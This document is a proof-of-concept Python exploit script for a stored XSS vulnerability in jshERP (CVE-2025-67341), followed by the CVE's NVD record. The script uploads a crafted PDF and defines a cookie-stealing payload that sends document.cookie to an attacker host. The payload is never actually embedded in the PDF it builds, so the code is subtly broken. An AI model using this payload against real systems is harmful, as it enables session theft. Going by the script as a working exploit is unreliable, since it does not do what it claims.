CVE-2025-67341

# CVE-2025-67341 PoC - jshERP Stored XSS via PDF Upload # Author: Security Researcher # Target: jshERP <= 3.5 import requests import sys # Generate malicious PDF with XSS payload def generate_xss_pdf(): # PDF header pdf_content = b'%PDF-1.4\n' # Malicious XSS payload embedded in PDF xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Simple PDF with JavaScript action pdf_content += b'1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n' pdf_content += b'2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n' pdf_content += b'3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\n' pdf_content += b'xref\n0 4\n0000000000 65535 f\n0000000009 00000 n\n0000000058 00000 n\n0000000115 00000 n\n' pdf_content += b'trailer<</Size 4/Root 1 0 R>>\n' pdf_content += b'startxref\n0\n%%EOF\n' return pdf_content # Upload malicious PDF def exploit(target_url, upload_endpoint): pdf_data = generate_xss_pdf() files = {'file': ('malicious.pdf', pdf_data, 'application/pdf')} try: response = requests.post(upload_endpoint, files=files) if response.status_code == 200: print('[+] Malicious PDF uploaded successfully!') print('[+] Access the PDF at the returned URL to trigger XSS') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <upload_endpoint>') sys.exit(1) exploit(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2025-67341", "sourceIdentifier": "[email protected]", "published": "2025-12-12T16:15:45.150", "lastModified": "2025-12-19T20:15:13.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jshERP versions 3.5 and earlier are affected by a stored XSS vulnerability. This vulnerability allows attackers to upload PDF files containing XSS payloads. Additionally, these PDF files can be accessed via static URLs, making them accessible to all users."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.5", "matchCriteriaId": "86D8B100-BC9D-41B2-9625-36738A2CF5E5"}]}]}], "references": [{"url": "https://github.com/jishenghua/jshERP/issues/139", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}